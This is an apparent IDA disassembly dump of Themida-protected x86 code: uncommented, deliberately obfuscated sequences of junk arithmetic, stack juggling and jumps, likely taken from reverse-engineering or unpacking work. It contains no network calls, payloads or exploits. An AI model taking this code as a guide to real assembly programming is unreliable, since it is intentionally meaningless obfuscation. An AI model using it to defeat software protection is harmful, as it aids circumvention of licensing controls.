jmp loc_5659CA ; --------------------------------------------------------------------------- loc_55E01D: ; CODE XREF: Themida_:0056165Cj add ebx, 0EC216115h or eax, ebx pop ebx dec eax not eax add eax, 2DE77C7Bh push eax mov eax, 526A0B3Bh not eax shr eax, 6 dec eax not eax shr eax, 7 xor eax, 5F27E57Ah add ecx, eax pop eax add ecx, eax sub ecx, 5EDD762Ah pop eax push edi mov edi, 2 jmp loc_564883 ; --------------------------------------------------------------------------- loc_55E05B: ; CODE XREF: Themida_:00566D96j xor ecx, [esp] jmp loc_56397D ; --------------------------------------------------------------------------- loc_55E063: ; CODE XREF: Themida_:0055D3DCj push eax mov eax, esp jmp loc_56E08E ; --------------------------------------------------------------------------- loc_55E06B: ; CODE XREF: Themida_:00560C39j sub eax, 644549E1h mov ecx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax jmp loc_568020 ; --------------------------------------------------------------------------- loc_55E084: ; CODE XREF: Themida_:00568D5Cj mov esi, 4 add ebp, esi pop esi jmp loc_5627C8 ; --------------------------------------------------------------------------- loc_55E091: ; CODE XREF: Themida_:0056F476j add esp, 4 push dword ptr [esp] jmp loc_56F203 ; --------------------------------------------------------------------------- loc_55E09F: ; CODE XREF: Themida_:00568C51j mov eax, [esp] jmp loc_564F85 ; --------------------------------------------------------------------------- loc_55E0A7: ; CODE XREF: Themida_:0055E560j pop esi mov eax, [esp] push edi mov edi, esp add edi, 4 push ecx mov ecx, 4 add edi, ecx jmp loc_56F2BB ; --------------------------------------------------------------------------- loc_55E0C1: ; CODE XREF: Themida_:0056FB9Aj pop esp jmp loc_56733D ; --------------------------------------------------------------------------- loc_55E0C7: ; CODE XREF: Themida_:0055F08Ej push ecx mov ecx, 877478Ah add ecx, 55003A38h xor ecx, 5C2F95Fh jmp loc_55E780 ; --------------------------------------------------------------------------- loc_55E0DE: ; CODE XREF: Themida_:0055DF29j add ecx, 52BBFBCBh jmp loc_5600CF ; --------------------------------------------------------------------------- loc_55E0E9: ; CODE XREF: Themida_:005668D9j mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_56A2B8 ; --------------------------------------------------------------------------- loc_55E0F6: ; CODE XREF: Themida_:005672FEj mov [esp], dx push eax jmp loc_57237D ; --------------------------------------------------------------------------- loc_55E100: ; CODE XREF: Themida_:0055DB40j push ebx jmp loc_56FF7D ; --------------------------------------------------------------------------- loc_55E106: ; CODE XREF: Themida_:00570C18j add [ebx], ebp jmp loc_56DD5F ; --------------------------------------------------------------------------- loc_55E10D: ; CODE XREF: Themida_:00561EB1j sub esi, 4 xchg esi, [esp] jmp loc_560BEC ; --------------------------------------------------------------------------- loc_55E118: ; CODE XREF: Themida_:00564422j pop esp mov [esp], eax jmp loc_561856 ; --------------------------------------------------------------------------- loc_55E121: ; CODE XREF: Themida_:00568603j add bl, al sub bl, 0EAh push small 673Bh mov [esp], cx mov cl, 37h push eax mov ah, 58h shr ah, 7 shr ah, 5 sub ah, 7Bh add bl, ah pop eax jmp loc_566C1D ; --------------------------------------------------------------------------- loc_55E144: ; CODE XREF: Themida_:00568DF5j sub ecx, 4 jmp loc_566D07 ; --------------------------------------------------------------------------- loc_55E14C: ; CODE XREF: Themida_:005628FEj mov ch, ah mov eax, [esp] add esp, 4 mov ebx, [esp] add esp, 4 push small 1BB9h jmp loc_57132B ; --------------------------------------------------------------------------- loc_55E163: ; CODE XREF: Themida_:0057260Fj cmp ecx, eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55E16B: ; CODE XREF: Themida_:00565A6Aj and edi, 172A1C77h or edi, 14F94AC3h jmp loc_560B2A ; --------------------------------------------------------------------------- loc_55E17C: ; CODE XREF: Themida_:0055DC07j mov eax, [esp] add esp, 4 push ebx mov ebx, 4 push ecx push edi mov edi, 2B550222h xor edi, 44102FBh xor edi, 63C31633h jmp loc_56F38A ; --------------------------------------------------------------------------- loc_55E1A0: ; CODE XREF: Themida_:005651F0j push esp pop ecx push ebp mov ebp, 7E4005Dh add ebp, 1 push 0 sub [esp], ebp pop ebp sub ebp, 576C07DEh neg ebp add ebp, 0A0AFF7C8h add ecx, ebp mov ebp, [esp] add esp, 4 push esi mov esi, 4 add ecx, 3AF42534h add ecx, esi sub ecx, 3AF42534h jmp loc_570297 ; --------------------------------------------------------------------------- loc_55E1E3: ; CODE XREF: Themida_:00566919j xor edx, 7FA22909h push ebx mov ebx, 9E2F6B57h jmp loc_563186 ; --------------------------------------------------------------------------- loc_55E1F4: ; CODE XREF: Themida_:0056BB3Fj add [esp+4], eax jmp loc_563E4A ; --------------------------------------------------------------------------- loc_55E1FD: ; CODE XREF: Themida_:0056D1DCj pop ebp push ecx mov ecx, 19460E84h add ebx, ecx pop ecx add ebx, eax jmp loc_55EB1C ; --------------------------------------------------------------------------- loc_55E20E: ; CODE XREF: Themida_:00563B00j not ecx jmp loc_571A13 ; --------------------------------------------------------------------------- loc_55E215: ; CODE XREF: Themida_:00567926j push edx mov edx, 4 add ebp, edx pop edx jmp loc_55E5E5 ; --------------------------------------------------------------------------- loc_55E223: ; CODE XREF: Themida_:00565D5Dj sub esp, 4 mov [esp], edx push esp jmp loc_56A334 ; --------------------------------------------------------------------------- loc_55E22F: ; CODE XREF: Themida_:00564539j push 4541h mov [esp], ecx mov ecx, 4 add ebp, 3FC75C30h add ebp, ecx sub ebp, 3FC75C30h jmp loc_56D103 ; --------------------------------------------------------------------------- loc_55E24F: ; CODE XREF: Themida_:0056AC2Dj push dword ptr [esp] jmp loc_56D352 ; --------------------------------------------------------------------------- loc_55E257: ; CODE XREF: Themida_:0055EA65j mov edx, 2FE236FAh neg edx xor edx, 1806C46h shr edx, 2 push 0 sub [esp], edx pop edx add edx, 0AFFE5DB0h sub esi, edx pop edx add ebp, 5DDD3615h sub ebp, 69554C55h add ebp, esi jmp loc_55D568 ; --------------------------------------------------------------------------- loc_55E28C: ; CODE XREF: Themida_:005709FBj pop esi pop eax jmp loc_566B02 ; --------------------------------------------------------------------------- loc_55E293: ; CODE XREF: Themida_:00566B97j add eax, esi pop esi add eax, ecx sub eax, 110130AFh add eax, 6DAA1315h push dword ptr [esp] pop ecx add esp, 4 jmp loc_56D748 ; --------------------------------------------------------------------------- loc_55E2B1: ; CODE XREF: Themida_:0055E6B7j shr ebp, 1 shl ebp, 1 push 978h jmp loc_570A3C ; --------------------------------------------------------------------------- loc_55E2BF: ; CODE XREF: Themida_:0056676Aj mov ebx, esp jmp loc_56347E ; --------------------------------------------------------------------------- loc_55E2C6: ; CODE XREF: Themida_:0055FFBBj add ebx, 66B1EE8h sub ebx, 21CB0164h jmp loc_5675DA ; --------------------------------------------------------------------------- loc_55E2D7: ; CODE XREF: Themida_:0056A6D3j mov si, 1 add bx, si jmp loc_56BD84 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 2EAh mov [esp], esi mov esi, esp add esi, 4 jmp loc_55F5E6 ; --------------------------------------------------------------------------- loc_55E2FB: ; CODE XREF: Themida_:00564F09j mov [esp], eax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55E303: ; CODE XREF: Themida_:0056609Ej push edi push 6EE8D0AFh pop edi xor esi, edi pop edi and edx, esi pop esi xor edx, 51F63B84h push 0E76h mov [esp], eax mov eax, 683475BCh push edi mov edi, 10D8320Dh xor eax, edi pop edi or edx, eax pop eax push esi mov esi, 789901B4h sub edx, esi pop esi shl edx, 4 jmp loc_5625C2 ; --------------------------------------------------------------------------- loc_55E340: ; CODE XREF: Themida_:0056BBE3j mov edi, 3BFCCF22h jmp loc_56D643 ; --------------------------------------------------------------------------- loc_55E34A: ; CODE XREF: Themida_:00572383j mov [esp], ecx mov cl, 0E6h push eax mov ah, 3Ch xor cl, ah pop eax shr cl, 4 neg cl add cl, 1 or cl, 0Fh xor cl, 0CFh mov al, cl pop ecx mov dl, al pop eax add al, 0FDh add al, 0C3h add al, dl sub al, 0C3h push ecx push ebx mov bl, 0Fh sub bl, 0DBh mov ch, bl jmp loc_563C4C ; --------------------------------------------------------------------------- loc_55E37F: ; CODE XREF: Themida_:0056EAB5j mov edi, [esp] add esp, 4 jmp loc_56FE08 ; --------------------------------------------------------------------------- loc_55E38A: ; CODE XREF: Themida_:0056474Aj push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx jmp loc_560B58 ; --------------------------------------------------------------------------- loc_55E39C: ; CODE XREF: Themida_:005606B7j mov ax, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push 5102h mov [esp], edi jmp loc_563655 ; --------------------------------------------------------------------------- loc_55E3BE: ; CODE XREF: Themida_:0055E7ABj add esp, 4 jmp loc_5722B0 ; --------------------------------------------------------------------------- loc_55E3C6: ; CODE XREF: Themida_:0055F2E1j mov ebx, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] movzx cx, al jmp loc_560647 ; --------------------------------------------------------------------------- loc_55E3DE: ; CODE XREF: Themida_:0055F1DAj push edx sub dword ptr [esp], 0DD44B4Bh jmp loc_561279 ; --------------------------------------------------------------------------- loc_55E3EB: ; CODE XREF: Themida_:0056490Aj push edi mov edi, 1E68575Eh jmp loc_560B18 ; --------------------------------------------------------------------------- loc_55E3F6: ; CODE XREF: Themida_:00571319j add edx, esi sub edx, 36133D5Dh jmp loc_570C6B ; --------------------------------------------------------------------------- loc_55E403: ; CODE XREF: Themida_:0055F5AAj push 6884h mov [esp], ebp jmp loc_56A725 ; --------------------------------------------------------------------------- loc_55E410: ; CODE XREF: Themida_:005704AEj xor ecx, ebp pop ebp push edi mov edi, 6BA00268h sub edi, 0FF389E20h add edx, edi jmp loc_56311A ; --------------------------------------------------------------------------- loc_55E426: ; CODE XREF: Themida_:00570A20j add al, ch add al, 14h add al, 1Eh mov ecx, [esp] add esp, 4 add bl, 0E5h push 5EF7h mov [esp], ecx mov cl, 30h inc cl add cl, 23h sub cl, 7 sub cl, 94h jmp loc_565F61 ; --------------------------------------------------------------------------- loc_55E44F: ; CODE XREF: Themida_:00566320j add esp, 4 push esi jmp loc_563E8B ; --------------------------------------------------------------------------- loc_55E45B: ; CODE XREF: Themida_:0056D019j add eax, 660167Fh push dword ptr [esp] pop edi add esp, 4 jmp loc_569C68 ; --------------------------------------------------------------------------- loc_55E46C: ; CODE XREF: Themida_:00564DE8j push eax mov al, 8Dh dec al inc al dec al sub al, 65h sub bl, al mov eax, [esp] add esp, 4 sub bl, 3Ah add bl, ch add bl, 3Ah push eax mov al, 0C7h inc al inc al push ebx jmp loc_569CE8 ; --------------------------------------------------------------------------- loc_55E494: ; CODE XREF: Themida_:0056F99Ej mov ebp, eax jmp loc_569BC6 ; --------------------------------------------------------------------------- loc_55E49B: ; CODE XREF: Themida_:0056A4D0j sub eax, 4 push eax jmp loc_560D58 ; --------------------------------------------------------------------------- loc_55E4A6: ; CODE XREF: Themida_:00564EE1j add esp, 4 add eax, 20B85B6Fh add eax, ebx sub esp, 4 mov [esp], edx mov edx, 20B85B6Fh sub eax, edx pop edx mov ebx, [esp] add esp, 4 push ebx mov ebx, 4 add eax, ebx pop ebx sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax jmp loc_56F27C ; --------------------------------------------------------------------------- loc_55E4E3: ; CODE XREF: Themida_:00562F31j mov dx, [esp] sub esp, 4 mov [esp], edi push esp jmp loc_55F8E2 ; --------------------------------------------------------------------------- loc_55E4F3: ; CODE XREF: Themida_:00561EEDj push esp pop ecx add ecx, 4 push ebp jmp loc_56E9A1 ; --------------------------------------------------------------------------- loc_55E501: ; CODE XREF: Themida_:0056A0F7j push 0C00h mov [esp], ecx mov ecx, esp push eax mov eax, 4 add ecx, eax jmp loc_56E445 ; --------------------------------------------------------------------------- loc_55E518: ; CODE XREF: Themida_:00564440j push edi inc dword ptr [esp] pop edi shr edi, 3 jmp loc_55FFF4 ; --------------------------------------------------------------------------- loc_55E525: ; CODE XREF: Themida_:005698DEj mov eax, 51A80009h xor [esp+4], eax pop eax jmp loc_56C0DE ; --------------------------------------------------------------------------- loc_55E534: ; CODE XREF: Themida_:0056A00Bj shl ecx, 5 or ecx, 45AD53E2h add ecx, 0B3B364Bh push ecx xor dword ptr [esp], 524774FBh push dword ptr [esp] pop esi add esp, 4 xor esi, 524774FBh pop ecx xor [esp+4], esi jmp loc_55E0A7 ; --------------------------------------------------------------------------- loc_55E565: ; CODE XREF: Themida_:0056CD3Dj pop esp xor eax, ebp mov ebp, [esp] push eax jmp loc_564288 ; --------------------------------------------------------------------------- loc_55E571: ; CODE XREF: Themida_:00564022j mov esi, 3D050E1h not esi jmp loc_56C97B ; --------------------------------------------------------------------------- loc_55E57D: ; CODE XREF: Themida_:0056F983j pop esp push esi mov esi, 4 add ebp, esi pop esi xchg ebp, [esp] pop esp jmp loc_5639ED ; --------------------------------------------------------------------------- loc_55E590: ; CODE XREF: Themida_:0056BDA8j inc esi add esi, 0E15FFD81h push ebp mov ebp, 7D08307Fh or ebp, 735309B0h sub ebp, 62862C97h xor ebp, 12DF1535h add edi, ebp pop ebp add edi, esi sub edi, 0E0A185Dh mov esi, [esp] add esp, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_571CD1 ; --------------------------------------------------------------------------- loc_55E5D2: ; CODE XREF: Themida_:00565DB5j add ch, 48h add dl, ch pop ecx push small 5CF4h mov [esp], dx jmp loc_56CA3C ; --------------------------------------------------------------------------- loc_55E5E5: ; CODE XREF: Themida_:0055E21Ej add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebx jmp loc_56B5E9 ; --------------------------------------------------------------------------- loc_55E5F7: ; CODE XREF: Themida_:0056C58Bj mov edi, eax pop eax add ecx, edi pop edi jmp loc_568782 ; --------------------------------------------------------------------------- loc_55E602: ; CODE XREF: Themida_:0056881Cj mov ecx, 60982925h jmp loc_56EB5F ; --------------------------------------------------------------------------- loc_55E60C: ; CODE XREF: Themida_:005729E7j sub esi, 0C152459h push esi not dword ptr [esp] pop esi jmp loc_560A9E ; --------------------------------------------------------------------------- loc_55E61C: ; CODE XREF: Themida_:0056F33Bj add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_55D5D4 ; --------------------------------------------------------------------------- loc_55E62F: ; CODE XREF: Themida_:0055E6A7j xor edx, [esp] xor [esp], edx pop ebp shl ebp, 3 push esi mov esi, 2FF95B9Dh shl esi, 3 shr esi, 3 sub esi, 0D58DC1D1h sub ebp, esi mov esi, [esp] add esp, 4 add ecx, 78B11505h sub ecx, 3B104F41h add ecx, ebp add ecx, 3B104F41h sub ecx, 78B11505h pop ebp push edi jmp loc_568644 ; --------------------------------------------------------------------------- loc_55E674: ; CODE XREF: Themida_:00562379j sub ecx, 6995755Eh jmp loc_567EB0 ; --------------------------------------------------------------------------- loc_55E67F: ; CODE XREF: Themida_:00569F19j dec esi and esi, 42781F24h add esi, 27044C55h jmp loc_56B98E ; --------------------------------------------------------------------------- loc_55E691: ; CODE XREF: Themida_:00562ED3j push 62B3h mov [esp], edx push esp push dword ptr [esp] jmp loc_563114 ; --------------------------------------------------------------------------- loc_55E6A2: ; CODE XREF: Themida_:0056FEBBj not edx xor [esp], edx jmp loc_55E62F ; --------------------------------------------------------------------------- loc_55E6AC: ; CODE XREF: Themida_:005691DEj mov ebp, 3B1F2B82h xor ebp, 1EAA1DA7h jmp loc_55E2B1 ; --------------------------------------------------------------------------- loc_55E6BC: ; CODE XREF: Themida_:005629BCj push edx jmp loc_5629DC ; --------------------------------------------------------------------------- loc_55E6C2: ; CODE XREF: Themida_:0056028Fj mov esi, 2A43688h jmp loc_569622 ; --------------------------------------------------------------------------- loc_55E6CC: ; CODE XREF: Themida_:00570016j mov ebp, [esp] add esp, 4 push ecx mov ecx, 7A9766F0h inc ecx dec ecx jmp loc_56E151 ; --------------------------------------------------------------------------- loc_55E6E2: ; CODE XREF: Themida_:00565234j pop eax sub [esp+4], ecx pop ecx pop ecx push ebp mov ebp, 77F61EF7h add ecx, ebp jmp loc_56BBCE ; --------------------------------------------------------------------------- loc_55E6F6: ; CODE XREF: Themida_:005604BAj pop ecx add eax, 4 jmp loc_56DD2C ; --------------------------------------------------------------------------- loc_55E6FF: ; CODE XREF: Themida_:00566594j add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 add ebx, 79C94C7Ah sub ebx, eax push ecx mov ecx, 79C94C7Ah sub ebx, ecx pop ecx push ecx mov ecx, 40883F8Dh add ebx, ecx pop ecx jmp loc_5676A2 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc [esp], ax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55E73E: ; CODE XREF: Themida_:00560B13j push 1AEDh mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_55D334 ; --------------------------------------------------------------------------- loc_55E75F: ; CODE XREF: Themida_:0056E1F8j add eax, 4BC81C63h sub eax, 58E4748Ch add eax, ebp add eax, 58E4748Ch sub eax, 4BC81C63h pop ebp push 5BF3h jmp loc_56A60D ; --------------------------------------------------------------------------- loc_55E780: ; CODE XREF: Themida_:0055E0D9j sub eax, ecx pop ecx pop edx jmp loc_562C43 ; --------------------------------------------------------------------------- loc_55E789: ; CODE XREF: Themida_:00564A1Fj push 20D0h push esp pop dword ptr [esp] jmp loc_561A57 ; --------------------------------------------------------------------------- loc_55E797: ; CODE XREF: Themida_:00562AA8j mov esi, 584E1851h jmp loc_5701DE ; --------------------------------------------------------------------------- loc_55E7A1: ; CODE XREF: Themida_:00564B54j mov edx, 2 add edi, edx mov edx, [esp] jmp loc_55E3BE ; --------------------------------------------------------------------------- loc_55E7B0: ; CODE XREF: Themida_:00569421j mov edi, 679D1CDFh mov esi, edi pop edi push 11CDh mov [esp], esi jmp loc_565FB8 ; --------------------------------------------------------------------------- loc_55E7C5: ; CODE XREF: Themida_:00561C9Bj add esi, 4 jmp loc_562F51 ; --------------------------------------------------------------------------- loc_55E7D0: ; CODE XREF: Themida_:00565EB0j xchg al, [esp] pop edx jmp loc_56472E ; --------------------------------------------------------------------------- loc_55E7D9: ; CODE XREF: Themida_:0055F8DDj pop ebx add edi, 284502E7h add ebx, edi jmp loc_565F00 ; --------------------------------------------------------------------------- loc_55E7E7: ; CODE XREF: Themida_:00561BB1j add esp, 4 pop ecx jmp loc_566969 ; --------------------------------------------------------------------------- loc_55E7F3: ; CODE XREF: Themida_:0057142Cj add esp, 4 jmp loc_5698AB ; --------------------------------------------------------------------------- push ebp jmp loc_5652D8 ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], esp push edi push esp pop edi add edi, 4 sub edi, 4 jmp loc_570F32 ; --------------------------------------------------------------------------- loc_55E81E: ; CODE XREF: Themida_:00571F1Ej mov [esp], edi sub dword ptr [esp], 73140975h jmp loc_560375 ; --------------------------------------------------------------------------- loc_55E82D: ; CODE XREF: Themida_:00564E3Ej or ebx, 0DA21705h push ecx push edi mov edi, 2F950825h mov ecx, edi mov edi, [esp] add esp, 4 shl ecx, 5 add ecx, 72C92739h shr ecx, 7 inc ecx sub ecx, 0E8C5B0B0h jmp loc_560B02 ; --------------------------------------------------------------------------- loc_55E85A: ; CODE XREF: Themida_:00560243j neg ebp dec ebp shr ebp, 6 jmp loc_56D13D ; --------------------------------------------------------------------------- loc_55E865: ; CODE XREF: Themida_:00566504j mov ax, [esp] sub esp, 4 mov [esp], ebp push esp pop ebp add ebp, 4 sub esp, 4 mov [esp], eax push edx sub esp, 4 mov [esp], esp jmp loc_56214F ; --------------------------------------------------------------------------- loc_55E889: ; CODE XREF: Themida_:00565E03j sub eax, 5BFC0DE2h add eax, ebp jmp loc_56F137 ; --------------------------------------------------------------------------- loc_55E895: ; CODE XREF: Themida_:0055DD4Dj xchg esi, [esp] pop esp jmp loc_56C56F ; --------------------------------------------------------------------------- loc_55E89E: ; CODE XREF: Themida_:0056BCD0j mov edi, ebx pop ebx jmp loc_561B50 ; --------------------------------------------------------------------------- xor [esp], bl xor bl, [esp] xor [esp], bl push ax jmp loc_568F53 ; --------------------------------------------------------------------------- loc_55E8B6: ; CODE XREF: Themida_:00568120j push edi mov edi, 737A4263h add ebx, edi jmp loc_568280 ; --------------------------------------------------------------------------- loc_55E8C3: ; CODE XREF: Themida_:00566FD9j mov dl, 38h xor ch, dl pop dx xor al, ch mov ecx, [esp] jmp loc_56EA35 ; --------------------------------------------------------------------------- loc_55E8D3: ; CODE XREF: Themida_:0056D9FAj sub dl, 0B8h sub dl, ch add dl, 0B8h mov ecx, [esp] add esp, 4 jmp loc_56C8EB ; --------------------------------------------------------------------------- loc_55E8E6: ; CODE XREF: Themida_:0055ECECj pop edx push esi jmp loc_55D3E1 ; --------------------------------------------------------------------------- loc_55E8ED: ; CODE XREF: Themida_:0056C23Ej add edi, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 xchg edi, [esp] mov esp, [esp] jmp loc_565BD9 ; --------------------------------------------------------------------------- loc_55E909: ; CODE XREF: Themida_:00560E64j mov ebp, esp add ebp, 4 jmp loc_5630A1 ; --------------------------------------------------------------------------- loc_55E916: ; CODE XREF: Themida_:0056B2B5j xor [esp], esi xor esi, [esp] jmp loc_568171 ; --------------------------------------------------------------------------- loc_55E921: ; CODE XREF: Themida_:0055FA6Fj push ebx mov ebx, 627745B2h push ecx mov ecx, 7EAB3F43h not ecx add ecx, 4A805860h inc ecx push ebp mov ebp, 0AEA9F973h sub ecx, ebp jmp loc_57131E ; --------------------------------------------------------------------------- loc_55E943: ; CODE XREF: Themida_:00568A61j push ecx mov ecx, 78565D12h sub ecx, 2E4212BAh not ecx shl ecx, 8 push 4072h jmp loc_568CA4 ; --------------------------------------------------------------------------- loc_55E95E: ; CODE XREF: Themida_:0056CE59j sub al, bl push edx push ebx jmp loc_566DFE ; --------------------------------------------------------------------------- loc_55E967: ; CODE XREF: Themida_:005652A9j push ebp push 1 jmp loc_56017F ; --------------------------------------------------------------------------- loc_55E972: ; CODE XREF: Themida_:0057144Fj pop edi jmp loc_561C88 ; --------------------------------------------------------------------------- loc_55E978: ; CODE XREF: Themida_:0056613Aj sub esp, 4 mov [esp], edx push eax jmp loc_56F698 ; --------------------------------------------------------------------------- loc_55E984: ; CODE XREF: Themida_:00562EBFj pop edi push dword ptr [esp] jmp loc_566A86 ; --------------------------------------------------------------------------- loc_55E98D: ; CODE XREF: Themida_:0056B526j mov esp, [esp] push 1FF4h mov [esp], ebp mov ebp, 491E1759h sub esi, ebp pop ebp sub esp, 4 mov [esp], ebx mov ebx, 5E2042A7h inc ebx add ebx, 1189F504h jmp loc_563490 ; --------------------------------------------------------------------------- push dword ptr [esp] mov ecx, [esp] push ebx sub esp, 4 mov [esp], esp jmp loc_563851 ; --------------------------------------------------------------------------- loc_55E9C9: ; CODE XREF: Themida_:00572164j mov ebp, 20C70C84h xor ebp, 2E44608Eh not ebp jmp loc_56F01F ; --------------------------------------------------------------------------- loc_55E9DB: ; CODE XREF: Themida_:00563218j add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor ebx, esi xor esi, ebx xor ebx, esi not esi jmp loc_56EDFD ; --------------------------------------------------------------------------- loc_55E9F8: ; CODE XREF: Themida_:0056F559j mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp add al, bl sub al, 66h push 18E8h mov [esp], ebx sub esp, 4 mov [esp], eax mov ah, 7Eh push eax mov al, 5Ch add al, 0CBh jmp loc_56C579 ; --------------------------------------------------------------------------- loc_55EA2D: ; CODE XREF: Themida_:00570F2Dj add ebp, esi mov esi, [esp] push ecx mov ecx, esp jmp loc_56B816 ; --------------------------------------------------------------------------- loc_55EA3A: ; CODE XREF: Themida_:00562E2Aj push esi mov esi, ecx push esi pop ebp pop esi mov eax, ebp push dword ptr [esp] pop ebp jmp loc_56C773 ; --------------------------------------------------------------------------- loc_55EA4B: ; CODE XREF: Themida_:00570F18j shr edx, 7 dec edx shl edx, 6 or edx, 123B162Bh xor edx, 3FFAE436h add ebp, edx pop edx sub esi, ebp pop ebp push edx jmp loc_55E257 ; --------------------------------------------------------------------------- loc_55EA6A: ; CODE XREF: Themida_:00567586j mov [esp], eax mov eax, 24h add eax, edi jmp loc_56C6FA ; --------------------------------------------------------------------------- loc_55EA79: ; CODE XREF: Themida_:00560EA6j mov esp, [esp] imul ecx, eax jmp loc_56BA74 ; --------------------------------------------------------------------------- loc_55EA84: ; CODE XREF: Themida_:0055ED85j push 114Ah mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 xor eax, ebp jmp loc_563305 ; --------------------------------------------------------------------------- loc_55EAA5: ; CODE XREF: Themida_:0055DE94j mov ecx, 34B012DAh neg ecx add ecx, 0F032618h jmp loc_560A28 ; --------------------------------------------------------------------------- loc_55EAB7: ; CODE XREF: Themida_:005671E4j mov al, 61h shl al, 2 jmp loc_562D9D ; --------------------------------------------------------------------------- loc_55EAC1: ; CODE XREF: Themida_:0056173Aj sub ecx, 2D2E2E99h sub ecx, 64031E89h sub ecx, 55123B0h add ecx, edx add ecx, 55123B0h jmp loc_56DD0B ; --------------------------------------------------------------------------- loc_55EAE0: ; CODE XREF: Themida_:0055D305j push ecx mov ecx, esp jmp loc_570B33 ; --------------------------------------------------------------------------- loc_55EAE8: ; CODE XREF: Themida_:00571660j add esp, 4 push edi mov edi, 288F7E3Ch add edi, 65320A0Fh not edi jmp loc_5621C3 ; --------------------------------------------------------------------------- loc_55EAFE: ; CODE XREF: Themida_:00569A8Aj add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp jmp loc_56AF8A ; --------------------------------------------------------------------------- loc_55EB12: ; CODE XREF: Themida_:0055F3D8j mov eax, 5AB7760Dh jmp loc_56585E ; --------------------------------------------------------------------------- loc_55EB1C: ; CODE XREF: Themida_:0055E209j sub ebx, 19460E84h mov eax, [esp] add esp, 4 jmp loc_56F6E3 ; --------------------------------------------------------------------------- loc_55EB2D: ; CODE XREF: Themida_:0056F857j pop ebp sub ebp, 267F5EA4h add ebp, esi add ebp, 267F5EA4h pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_57260E ; --------------------------------------------------------------------------- loc_55EB4B: ; CODE XREF: Themida_:0055F46Aj mov cl, 28h mov dh, cl pop ecx mov ah, 0CDh jmp loc_567BC7 ; --------------------------------------------------------------------------- loc_55EB57: ; CODE XREF: Themida_:0056FBE3j pop ebx neg ebx xor ebx, 8484ADBCh jmp loc_56617D ; --------------------------------------------------------------------------- loc_55EB65: ; CODE XREF: Themida_:00565BB7j add ebx, 6FE134F2h push dword ptr [ebx] jmp loc_568B40 ; --------------------------------------------------------------------------- loc_55EB72: ; CODE XREF: Themida_:005711CFj add ecx, 4 xchg ecx, [esp] pop esp shr ebx, 2 push ebp mov ebp, esp add ebp, 4 jmp loc_570CAC ; --------------------------------------------------------------------------- loc_55EB8D: ; CODE XREF: Themida_:00568CD6j add eax, 4 jmp loc_56D4E8 ; --------------------------------------------------------------------------- loc_55EB97: ; CODE XREF: Themida_:0056FB14j pop esp mov [esp], edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] bt [esp], eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55EBB0: ; CODE XREF: Themida_:005655DEj pop small word ptr [esp] add word ptr [esp], 2 pop small word ptr [esp] push small 56B1h mov [esp], si push ecx mov cx, 901h push eax mov ax, 0F701h mov si, ax pop eax add si, 1335h sub si, 7968h add si, cx add si, 7968h push ebx mov bx, 85Ah jmp loc_565F20 ; --------------------------------------------------------------------------- loc_55EBEF: ; CODE XREF: Themida_:00568EA7j mov edi, ebp pop ebp add eax, 55FF2D01h sub eax, 42283EEFh add eax, 2C1F3A90h jmp loc_5723E7 ; --------------------------------------------------------------------------- loc_55EC06: ; CODE XREF: Themida_:0056C527j mov ebx, 85645Dh mov edi, 6B263988h jmp loc_5695EC ; --------------------------------------------------------------------------- loc_55EC15: ; CODE XREF: Themida_:0056D138j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_55EC1A: ; CODE XREF: Themida_:00566924j sub esi, 166119B9h add esi, ecx jmp loc_571504 ; --------------------------------------------------------------------------- loc_55EC27: ; CODE XREF: Themida_:0056C56Aj mov ebx, 4 add ebp, ebx pop ebx jmp loc_56DA9F ; --------------------------------------------------------------------------- loc_55EC34: ; CODE XREF: Themida_:00563663j mov esi, 6EB860ACh or esi, 4E060BD3h jmp loc_55EFBA ; --------------------------------------------------------------------------- loc_55EC44: ; CODE XREF: Themida_:0055DADDj xor edx, esi pop esi sub ebp, edx pop edx push edi mov edi, 3D9D128Dh add ebp, edi pop edi add ebp, eax sub ebp, 3D9D128Dh add ebp, 405842EBh jmp loc_56748C ; --------------------------------------------------------------------------- loc_55EC66: ; CODE XREF: Themida_:0056A88Dj push eax push ecx push 27C73AA6h push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 dec ecx push eax mov eax, 71F604A5h jmp loc_56ABC5 ; --------------------------------------------------------------------------- loc_55EC88: ; CODE XREF: Themida_:005670E6j pop ecx mov esi, edi mov edi, [esp] add esp, 4 jmp loc_565B23 ; --------------------------------------------------------------------------- loc_55EC99: ; CODE XREF: Themida_:0056D1E7j sub edx, 2 xchg edx, [esp] mov esp, [esp] jmp loc_5702D2 ; --------------------------------------------------------------------------- loc_55ECAA: ; CODE XREF: Themida_:005695EEj pop ebx shr edi, 7 and edi, 39C76D80h push edi jmp loc_56CBED ; --------------------------------------------------------------------------- loc_55ECBA: ; CODE XREF: Themida_:00560A89j mov eax, 2CD20C94h add edx, eax pop eax add edx, edi push ebp mov ebp, 2CD20C94h sub edx, ebp pop ebp sub esp, 4 jmp loc_566161 ; 